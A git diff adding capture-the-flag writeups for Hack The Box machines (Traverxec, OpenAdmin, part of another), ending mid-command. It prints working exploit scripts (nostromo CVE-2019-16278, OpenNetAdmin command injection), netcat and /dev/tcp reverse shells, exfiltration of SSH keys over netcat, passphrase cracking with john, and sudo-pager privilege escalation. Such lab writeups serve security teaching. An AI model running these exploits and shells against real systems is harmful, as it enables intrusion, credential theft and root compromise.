PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE + LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC + LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET + XAUTHORITY" + + User asterisk may run the following commands on this host: + (root) NOPASSWD: /sbin/shutdown + **(root) NOPASSWD: /usr/bin/nmap** + (root) NOPASSWD: /usr/bin/yum + (root) NOPASSWD: /bin/touch + (root) NOPASSWD: /bin/chmod + (root) NOPASSWD: /bin/chown + (root) NOPASSWD: /sbin/service + (root) NOPASSWD: /sbin/init + (root) NOPASSWD: /usr/sbin/postmap + (root) NOPASSWD: /usr/sbin/postfix + (root) NOPASSWD: /usr/sbin/saslpasswd2 + (root) NOPASSWD: /usr/sbin/hardware_detector + (root) NOPASSWD: /sbin/chkconfig + (root) NOPASSWD: /usr/sbin/elastix-helper + + + +We now have a reverse shell as asterisk, but we need to escalate privileges. We can use the nmap command which can be run as root for example. + + + bash-3.2$ sudo nmap --interactive + + Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ ) + Welcome to Interactive Mode -- press h for help + nmap> !sh + + whoami + root + + cat /root/root.txt + **d8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX** + + + +And that's it ! we finally got the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/4_graph.png) + diff --git a/Easy/40.md b/Easy/40.md new file mode 100644 index 0000000..87ba30f --- /dev/null +++ b/Easy/40.md @@ -0,0 +1,524 @@ +# Traverxec Writeup + +![](img/40.png) + +## Introduction : + +Traverxec is an easy linux box released back in November 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [Nextcloud/blog] + → sudo nmap -vvv -p- 10.10.10.165 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + [sudo] password for nothing: + Discovered open port 80/tcp on 10.10.10.165 + Discovered open port 22/tcp on 10.10.10.165 + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [Nextcloud/blog] + → nmap -sCV -p80,22 10.10.10.165 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-25 11:35 CEST + Nmap scan report for 10.10.10.165 + Host is up (0.034s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) + | ssh-hostkey: + | 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA) + | 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA) + |_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519) + 80/tcp open http nostromo 1.9.6 + |_http-server-header: nostromo 1.9.6 + |_http-title: TRAVERXEC + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running nostromo 1.9.6: + +![](prg/40_001.png) + +You can run the scans you want on this webserver, you won't find much. But we do know that this is nostromo 1.9.6 so lets see if there are any CVEs: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [Nextcloud/blog] + → searchsploit nostromo 1.9 + --------------------------------------------------------------------------------- --------------------------------- + Exploit Title | Path + --------------------------------------------------------------------------------- --------------------------------- + nostromo 1.9.6 - Remote Code Execution | multiple/remote/47837.py + nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution | linux/remote/35466.sh + --------------------------------------------------------------------------------- --------------------------------- + Shellcodes: No Results + + + +And indeed this is an incredible coincidence that this nostromo version has a RCE vulnerability, so let's use it: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traverxec] + → cp $(locate 47837.py) . + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traverxec] + → vim 47837.py + + + +Looking at it in detail: + + + # Exploit Title: nostromo 1.9.6 - Remote Code Execution + # Date: 2019-12-31 + # Exploit Author: Kr0ff + # Vendor Homepage: + # Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz + # Version: 1.9.6 + # Tested on: Debian + # CVE : CVE-2019-16278 + + #cve2019_16278.py + + #!/usr/bin/env python + + import sys + import socket + + art = """ + + _____-2019-16278 + _____ _______ ______ _____\ \ + _____\ \_\ | | | / / | | + / /| || / / /|/ / /___/| + / / /____/||\ \ \ |/| |__ |___|/ + | | |____|/ \ \ \ | | | \ + | | _____ \| \| | | __/ __ + |\ \|\ \ |\ /| |\ \ / \ + | \_____\| | | \_______/ | | \____\/ | + | | /____/| \ | | / | | |____/| + \|_____| || \|_____|/ \|____| | | + |____|/ |___|/ + + + + """ + + help_menu = '\r\nUsage: cve2019-16278.py <****Target_IP> <****Target_Port> <****Command>' + + def connect(soc): + response = "" + try: + while True: + connection = soc.recv(1024) + if len(connection) == 0: + break + response += connection + except: + pass + return response + + def cve(target, port, cmd): + soc = socket.socket() + soc.connect((target, int(port))) + payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2> &1'.format(cmd) + soc.send(payload) + receive = connect(soc) + print(receive) + + if __name__ == "__main__": + + print(art) + + try: + target = sys.argv[1] + port = sys.argv[2] + cmd = sys.argv[3] + + cve(target, port, cmd) + + except IndexError: + print(help_menu) + + + +This is a very simple python script, which sends a POST request to the ip and port pair we give it: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traverxec] + → python 47837.py 10.10.10.165 80 id + + + _____-2019-16278 + _____ _______ ______ _____\ \ + _____\ \_\ | | | / / | | + / /| || / / /|/ / /___/| + / / /____/||\ \ \ |/| |__ |___|/ + | | |____|/ \ \ \ | | | \ + | | _____ \| \| | | __/ __ + |\ \|\ \ |\ /| |\ \ / \ + | \_____\| | | \_______/ | | \____\/ | + | | /____/| \ | | / | | |____/| + \|_____| || \|_____|/ \|____| | | + |____|/ |___|/ + + + + + HTTP/1.1 200 OK + Date: Tue, 25 May 2021 15:48:12 GMT + Server: nostromo 1.9.6 + Connection: close + + + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + + +Indeed we get remote code execution as the www-data user, so we can get a reverse shell as follows: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traverxec] + → python 47837.py 10.10.10.165 80 "nc -e bash 10.10.14.13 9001" + + + + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Traverxec] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.165] 54374 + + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + +Obviously this is a very limited shell, so let's upgrade it to a fully interactive shell, first we spawn a tty using python's pty module: + + + which python + /usr/bin/python + python -c 'import pty;pty.spawn("/bin/bash")' + www-data@traverxec:/usr/bin$ + + CTRL+Z + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Traverxec] + → stty raw echo ; fg + + [1] + 3599725 continued nc -lvnp 9001 + export TERM=screen-256color + www-data@traverxec:/usr/bin$ export SHELL=bash + www-data@traverxec:/usr/bin$ stty rows 40 columns 125 + www-data@traverxec:/usr/bin$ reset + + + +And there you go ! We managed to get a fully interactive reverse shell: + + + www-data@traverxec:/usr/bin$ stty -a | grep rows + speed 38400 baud; rows 40; columns 125; line = 0; + + www-data@traverxec:/usr/bin$ echo $TERM + screen-256color + + www-data@traverxec:/usr/bin$ echo $SHELL + bash + + www-data@traverxec:/usr/bin$ ls + Display all 666 possibilities? (y or n) + + +Now from there we need to find a way to privesc: + + + www-data@traverxec:/usr/bin$ ls /home + david + + www-data@traverxec:/usr/bin$ ls /home/david/user.txt + /home/david/user.txt + + www-data@traverxec:/usr/bin$ ls /home/david/user.txt -lash + 4.0K -r--r----- 1 root david 33 Oct 25 2019 /home/david/user.txt + + + +We're going to attempt to privesc to the david user, so first let's enumerate the box using LinPEAS.sh: + + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Traverxec] + → cp $(locate linpeas.sh) . + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Traverxec] + → ls -lash linpeas.sh + 336K -rwxr-xr-x 1 nothing nothing 334K May 25 17:50 linpeas.sh + + [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Traverxec] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + +Now download it onto the box: + + + www-data@traverxec:/dev/shm$ which wget ; which curl + /usr/bin/wget + + www-data@traverxec:/dev/shm$ which wget ; which curl + /usr/bin/wget + www-data@traverxec:/dev/shm$ wget http://10.10.14.13:9090/linpeas.sh -O /dev/shm/peas.sh + --2021-05-25 11:59:40-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: '/dev/shm/peas.sh' + + /dev/shm/peas.sh 100%[====================================================>] 333.85K 690KB/s in 0.5s + + 2021-05-25 11:59:41 (690 KB/s) - '/dev/shm/peas.sh' saved [341863/341863] + + www-data@traverxec:/dev/shm$ chmod +x peas.sh + www-data@traverxec:/dev/shm$ ./peas.sh + + + +Here i uploaded the script to **/dev/shm** , which is basically an alternative to the **/tmp** directory. + +![](prg/40_002.png) ![](prg/40_003.png) + +And indeed we are hinted towards the david user that seems to be part of quite a few groups, let's take a look at his home directory: + + + www-data@traverxec:/home/david$ cd public_www + + www-data@traverxec:/home/david/public_www$ ls + index.html protected-file-area + + www-data@traverxec:/home/david/public_www$ ls -lash + total 16K + 4.0K drwxr-xr-x 3 david david 4.0K Oct 25 2019 . + 4.0K drwx--x--x 5 david david 4.0K Oct 25 2019 .. + 4.0K -rw-r--r-- 1 david david 402 Oct 25 2019 index.html + 4.0K drwxr-xr-x 2 david david 4.0K Oct 25 2019 protected-file-area + + www-data@traverxec:/home/david/public_www$ cat protected-file-area/ + .htaccess backup-ssh-identity-files.tgz + + www-data@traverxec:/home/david/public_www$ cat protected-file-area/.htaccess + realm David's Protected File Area. Keep out! + + www-data@traverxec:/home/david/public_www/protected-file-area$ file backup-ssh-identity-files.tgz + backup-ssh-identity-files.tgz: gzip compressed data, last modified: Fri Oct 25 21:02:59 2019, from Unix, original size 10240 + + www-data@traverxec:/home/david/public_www/protected-file-area$ md5sum backup-ssh-identity-files.tgz + 084883c47fec5b1385b50f226db8175f backup-ssh-identity-files.tgz + + + +So here we seem to have a gzip archive called ssh backups, let's transfer it back to our local machine: + + + www-data@traverxec:/home/david/public_www/protected-file-area$ which nc + /usr/bin/nc + + www-data@traverxec:/home/david/public_www/protected-file-area$ ls -lash + total 16K + 4.0K drwxr-xr-x 2 david david 4.0K Oct 25 2019 . + 4.0K drwxr-xr-x 3 david david 4.0K Oct 25 2019 .. + 4.0K -rw-r--r-- 1 david david 45 Oct 25 2019 .htaccess + 4.0K -rw-r--r-- 1 david david 1.9K Oct 25 2019 backup-ssh-identity-files.tgz + + + +Luckily for us, netcat is on the machine, so this will be easy to transfer the backup file: + + + www-data@traverxec:/home/david/public_www/protected-file-area$ md5sum backup-ssh-identity-files.tgz + 084883c47fec5b1385b50f226db8175f backup-ssh-identity-files.tgz + + www-data@traverxec:/home/david/public_www/protected-file-area$ cat backup-ssh-identity-files.tgz | nc 10.10.14.13 9002 + + + + + [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] + → nc -lvnp 9002 > backup.tgz + listening on [any] 9002 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.165] 54580 + + [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] + → md5sum backup.tgz + 084883c47fec5b1385b50f226db8175f backup.tgz + + + +And once the transfer is done, we see that both files have the same m4d5 hash, so we know that the transfer is complete, both files are the same. So let's extract it and make use of the ssh keys in there: + + + [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] + → tar -xvf backup.tgz + home/david/.ssh/ + home/david/.ssh/authorized_keys + home/david/.ssh/id_rsa + home/david/.ssh/id_rsa.pub + + [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] + → chmod 600 home/david/.ssh/id_rsa + + [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] + → ssh david@10.10.10.165 -i home/david/.ssh/id_rsa + The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established. + ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.165' (ECDSA) to the list of known hosts. + Enter passphrase for key 'home/david/.ssh/id_rsa': + + + +However not so fast! David's private key is encrypted with a password, so let's use john to crack it: + + + [ 10.10.14.13/23 ] [ /dev/pts/36 ] [~/HTB/Traverxec] + → cd home/david/.ssh + + [ 10.10.14.13/23 ] [ /dev/pts/36 ] [home/david/.ssh] + → locate ssh2john.py + /usr/share/john/ssh2john.py + + [ 10.10.14.13/23 ] [ /dev/pts/36 ] [home/david/.ssh] + → /usr/share/john/ssh2john.py id_rsa > hash.txt + + [ 10.10.14.13/23 ] [ /dev/pts/36 ] [home/david/.ssh] + → john -w=/usr/share/wordlists/rockyou.txt hash.txt + Using default input encoding: UTF-8 + Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) + Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes + Cost 2 (iteration count) is 1 for all loaded hashes + Will run 4 OpenMP threads + Note: This format may emit false positives, so it will keep trying even after + finding a possible candidate. + Press 'q' or Ctrl-C to abort, almost any other key for status + hunter (id_rsa) + + +And we now have david's password! so let's login using his ssh key: + + + [ 10.10.14.13/23 ] [ /dev/pts/36 ] [home/david/.ssh] + → ssh david@10.10.10.165 -i id_rsa + Enter passphrase for key 'id_rsa': + Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 + david@traverxec:~$ id + uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) + david@traverxec:~$ cat user.txt + 7dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it, we managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc from the david user to the root user, + + + david@traverxec:~$ ls -lash + total 36K + 4.0K drwx--x--x 5 david david 4.0K Oct 25 2019 . + 4.0K drwxr-xr-x 3 root root 4.0K Oct 25 2019 .. + 0 lrwxrwxrwx 1 root root 9 Oct 25 2019 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 david david 220 Oct 25 2019 .bash_logout + 4.0K -rw-r--r-- 1 david david 3.5K Oct 25 2019 .bashrc + 4.0K drwx------ 2 david david 4.0K Oct 25 2019 bin + 4.0K -rw-r--r-- 1 david david 807 Oct 25 2019 .profile + 4.0K drwxr-xr-x 3 david david 4.0K Oct 25 2019 public_www + 4.0K drwx------ 2 david david 4.0K Oct 25 2019 .ssh + 4.0K -r--r----- 1 root david 33 Oct 25 2019 user.txt + + david@traverxec:~$ ls -lash bin/server-stats.* + 4.0K -r-------- 1 david david 802 Oct 25 2019 bin/server-stats.head + 4.0K -rwx------ 1 david david 363 Oct 25 2019 bin/server-stats.sh + + david@traverxec:~$ cat bin/server-stats.sh + #!/bin/bash + + cat /home/david/bin/server-stats.head + echo "Load: `/usr/bin/uptime`" + echo " " + echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`" + echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`" + echo " " + echo "Last 5 journal log lines:" + /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat + + +Looking in the bin directory we see a bashscript that seems to do something interesting, it runs sudo journalctl, let's run it to see what it does: + + + david@traverxec:~/bin$ ./server-stats.sh + .----. + .---------. | == | + Webserver Statistics and Data |.-"""""-.| |----| + Collection Script || || | == | + (c) David, 2019 || || |----| + |'-.....-'| |::::| + '"")---(""' |___.| + /:::::::::::\" " + /:::=======:::\ + jgs '"""""""""""""' + + Load: 12:50:42 up 7:14, 1 user, load average: 0.00, 0.00, 0.00 + + Open nhttpd sockets: 1 + Files in the docroot: 117 + + Last 5 journal log lines: + -- Logs begin at Tue 2021-05-25 05:35:56 EDT, end at Tue 2021-05-25 12:50:42 EDT. -- + May 25 12:01:12 traverxec sudo[8197]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/0 ruser=www-data rhost= user=www-data + May 25 12:01:15 traverxec sudo[8197]: pam_unix(sudo:auth): conversation failed + May 25 12:01:15 traverxec sudo[8197]: pam_unix(sudo:auth): auth could not identify password for [www-data] + May 25 12:01:15 traverxec sudo[8197]: www-data : command not allowed ; TTY=pts/0 ; PWD=/dev/shm ; USER=root ; COMMAND=list + May 25 12:01:15 traverxec nologin[8253]: Attempted login by UNKNOWN on UNKNOWN + + + +Basically the script returns the last 5 lines of the nostromo service logs using journalctl. So we can exploit it because journalctl invokes the default pager, which is likely to be the **less** utility. Therefore it is also possible to exploit this by running the last command like so: + + + #BEFORE + /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat + + #AFTER + /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service + + +after running it we prefix commands with the **!** character, to run **/bin/sh** + +The trick here to trigger the less command is to shrink your terminal to just a few lines, and you will be able to spawn the root shell: + + + david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service + -- Logs begin at Tue 2021-05-25 05:35:56 EDT, end at Tue 2021-05-25 12:59:28 EDT. -- + !/bin/sh + # id + uid=0(root) gid=0(root) groups=0(root) + # cat /root/root.txt + 9aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get a root shell and print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/40_graph.png) + diff --git a/Easy/41.md b/Easy/41.md new file mode 100644 index 0000000..f450297 --- /dev/null +++ b/Easy/41.md @@ -0,0 +1,756 @@ +# OpenAdmin Writeup + +![](img/41.png) + +## Introduction : + +OpenAdmin is an easy Linux box released back in january 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.0.14.13/16 ] [ /dev/pts/1 ] [~/HTB] + → nmap -sCV 10.10.10.171 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-26 21:20 CEST + Nmap scan report for 10.10.10.171 + Host is up (0.039s latency). + Not shown: 998 closed ports + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA) + | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA) + |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Apache2 Ubuntu Default Page: It works + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 9.36 seconds + + + +## **Part 2 : Getting User Access** + +For this box we're going to enumerate port 80 using a directory enumeration tool written in go called ffuf with one of the wordlists from seclists: + + + [ 10.10.14.13/23 ] [ /dev/pts/13 ] [~/HTB/OpenAdmin] + → apt install seclists ffuf + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → ffuf -u http://10.10.10.171/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,307,401 -o ffuf.txt + + /'___\ /'___\ /'___\ + /\ \__/ /\ \__/ __ __ /\ \__/ + \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ + \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ + \ \_\ \ \_\ \ \____/ \ \_\ + \/_/ \/_/ \/___/ \/_/ + + v1.3.1 Kali Exclusive + ________________________________________________ + + :: Method : GET + :: URL : http://10.10.10.171/FUZZ + :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt + :: Output file : ffuf.txt + :: File format : json + :: Follow redirects : false + :: Calibration : false + :: Timeout : 10 + :: Threads : 40 + :: Matcher : Response status: 200,204,301,302,307,401 + ________________________________________________ + + artwork [Status: 301, Size: 314, Words: 20, Lines: 10] + index.html [Status: 200, Size: 10918, Words: 3499, Lines: 376] + music [Status: 301, Size: 312, Words: 20, Lines: 10] + :: Progress: [4681/4681] :: Job [1/1] :: 978 req/sec :: Duration: [0:00:07] :: Errors: 0 :: + + + +Now from here we can scrape the results that got outputted in ffuf.txt using a python script: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → cat ffuf.txt + {"commandline":"ffuf -u http://10.10.10.171/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,307,401 -o ffuf.txt","time":"2021-05-27T07:01:23+02:00","results":[{"input":{"FUZZ":"artwork"},"position":695,"status":301,"length":314,"words":20,"lines":10,"content-type":"text/html; charset=iso-8859-1","redirectlocation":"http://10.10.10.171/artwork/","resultfile":"","url":"http://10.10.10.171/artwork","host":"10.10.10.171"},{"input":{"FUZZ":"index.html"},"position":2176,"status":200,"length":10918,"words":3499,"lines":376,"content-type":"text/html","redirectlocation":"","resultfile":"","url":"http://10.10.10.171/index.md","host":"10.10.10.171"},{"input":{"FUZZ":"music"},"position":2747,"status":301,"length":312,"words":20,"lines":10,"content-type":"text/html; charset=iso-8859-1","redirectlocation":"http://10.10.10.171/music/","resultfile":"","url":"http://10.10.10.171/music","host":"10.10.10.171"}],"config":{"autocalibration":false,"autocalibration_strings":[],"colors":false,"cmdline":"ffuf -u http://10.10.10.171/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,307,401 -o ffuf.txt","configfile":"","postdata":"","delay":{"value":"0.00"},"dirsearch_compatibility":false,"extensions":[],"filters":{},"follow_redirects":false,"headers":{},"ignorebody":false,"ignore_wordlist_comments":false,"inputmode":"clusterbomb","cmd_inputnum":100,"inputproviders":[{"name":"wordlist","keyword":"FUZZ","value":"/usr/share/seclists/Discovery/Web-Content/common.txt"}],"inputshell":"","matchers":{"status":{"value":"200,204,301,302,307,401"}},"maxtime":0,"maxtime_job":0,"method":"GET","noninteractive":false,"outputdirectory":"","outputfile":"ffuf.txt","outputformat":"json","OutputCreateEmptyFile":false,"proxyurl":"","quiet":false,"rate":0,"recursion":false,"recursion_depth":0,"recursion_strategy":"default","replayproxyurl":"","stop_403":false,"stop_all":false,"stop_errors":false,"threads":40,"timeout":10,"url":"http://10.10.10.171/FUZZ","verbose":false}}% + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → vim scraper.py + + + + #!/usr/bin/python + import sys + import json + import requests + import argparse + from bs4 import BeautifulSoup + + def results(file): + content=open(file,'r').readlines() + for line in content: + data=json.loads(line.strip()) + urls=[] + for url in data['results']: + urls.append(url['url']) + return urls + + def crawl(url): + r = requests.get(url) + soup = BeautifulSoup(r.text,'lxml') + links = soup.findAll('a',href=True) + for link in links: + link=link['href'] + if link and link!='#': + print('[+] {} : {} '.format(url,link)) + + if __name__ == '__main__' : + parser =argparse.ArgumentParser() + parser.add_argument("file",help="ffuf results") + args = parser.parse_args() + urls=results(args.file) + for url in urls: + crawl(url) + + + +Now execute it and see the result: + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/OpenAdmin] + → python3 scraper.py + usage: scraper.py [-h] file + scraper.py: error: the following arguments are required: file + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/OpenAdmin] + → python3 scraper.py ffuf.txt + [+] http://10.10.10.171/artwork : index.html + [+] http://10.10.10.171/artwork : index.html + [+] http://10.10.10.171/artwork : about.html + [+] http://10.10.10.171/artwork : services.html + [+] http://10.10.10.171/artwork : blog.html + [+] http://10.10.10.171/artwork : contact.html + [+] http://10.10.10.171/artwork : single.html + [+] http://10.10.10.171/artwork : single.html + [+] http://10.10.10.171/artwork : single.html + [+] http://10.10.10.171/artwork : single.html + [+] http://10.10.10.171/artwork : single.html + [+] http://10.10.10.171/artwork : single.html + [+] http://10.10.10.171/artwork : index.html + [+] http://10.10.10.171/artwork : https://colorlib.com + [+] http://10.10.10.171/index.md : /manual + [+] http://10.10.10.171/index.md : http://httpd.apache.org/docs/2.4/mod/mod_userdir.html + [+] http://10.10.10.171/index.md : https://bugs.launchpad.net/ubuntu/+source/apache2 + [+] http://10.10.10.171/music : index.html + + [+] http://10.10.10.171/music : ../ona + + [+] http://10.10.10.171/music : index.html + [+] http://10.10.10.171/music : category.html + [+] http://10.10.10.171/music : playlist.html + [+] http://10.10.10.171/music : artist.html + [+] http://10.10.10.171/music : blog.html + [+] http://10.10.10.171/music : contact.html + [+] http://10.10.10.171/music : blog.html + [+] http://10.10.10.171/music : contact.html + [+] http://10.10.10.171/music : https://colorlib.com + + + +And so with this we find the ../ona path + +![](prg/41_001.png) + +ona in this case refers to OpenNetAdmin, and we know that it is version 18.1.1, so let's see if there are any CVEs for this service: + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/OpenAdmin] + → searchsploit opennetadmin + ------------------------------------------------------------ --------------------------------- + Exploit Title | Path + ------------------------------------------------------------ --------------------------------- + OpenNetAdmin 13.03.01 - Remote Code Execution | php/webapps/26682.txt + OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)| php/webapps/47772.rb + OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh + ------------------------------------------------------------ --------------------------------- + Shellcodes: No Results + + +And here you see that we have a few exploits to work with. We're going to take a look at the RCE one: + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/OpenAdmin] + → cp $(locate 47691.sh) . + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/OpenAdmin] + → ls + 47691.sh ffuf.txt scraper.py + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/OpenAdmin] + → vim 47691.sh + + #!/bin/bash + + URL="${1}" + while true;do + echo -n "$ "; read cmd + curl --silent -d "xajax=window_submit&xajaxr;=1574117726710&xajaxargs;[]=tooltips&xajaxargs;[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs;[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 + done + + + +Very simplistic exploit, it just needs the URL of the ona instance of the machine: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → dos2unix 47691.sh + dos2unix: converting file 47691.sh to Unix format... + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → ./47691.sh http://10.10.10.171/ona/ + $ id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + $ ls -lash + total 72K + 4.0K drwxrwxr-x 10 www-data www-data 4.0K Nov 22 2019 . + 4.0K drwxr-x--- 7 www-data www-data 4.0K Nov 21 2019 .. + 4.0K -rw-rw-r-- 1 www-data www-data 2.0K Jan 3 2018 .htaccess.example + 4.0K drwxrwxr-x 2 www-data www-data 4.0K Jan 3 2018 config + 4.0K -rw-rw-r-- 1 www-data www-data 2.0K Jan 3 2018 config_dnld.php + 8.0K -rw-rw-r-- 1 www-data www-data 4.1K Jan 3 2018 dcm.php + 4.0K drwxrwxr-x 3 www-data www-data 4.0K Jan 3 2018 images + 4.0K drwxrwxr-x 9 www-data www-data 4.0K Jan 3 2018 include + 4.0K -rw-rw-r-- 1 www-data www-data 2.0K Jan 3 2018 index.php + 4.0K drwxrwxr-x 5 www-data www-data 4.0K Jan 3 2018 local + 8.0K -rw-rw-r-- 1 www-data www-data 4.5K Jan 3 2018 login.php + 4.0K -rw-rw-r-- 1 www-data www-data 1.1K Jan 3 2018 logout.php + 4.0K drwxrwxr-x 3 www-data www-data 4.0K Jan 3 2018 modules + 4.0K drwxrwxr-x 3 www-data www-data 4.0K Jan 3 2018 plugins + 4.0K drwxrwxr-x 2 www-data www-data 4.0K Jan 3 2018 winc + 4.0K drwxrwxr-x 3 www-data www-data 4.0K Jan 3 2018 workspace_plugins + + +And there we have command execution as www-data! However the more we test this, the more we see that we are very limited with our shell (unable to access python3, bash and such) so let's manually push a bash shell: + + + [ 10.10.14.13/23 ] [ /dev/pts/14 ] [~/HTB/OpenAdmin] + → curl -s -d "xajax=window_submit&xajaxr;=1574117726710&xajaxargs;[]=tooltips&xajaxargs;[]=ip%3D%3E;bash -c 'bash -i >%26 /dev/tcp/10.10.14.13/4443 0>%261'&xajaxargs;[]=ping" http://10.10.10.171/ona/ + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → nc -lvnp 4443 + listening on [any] 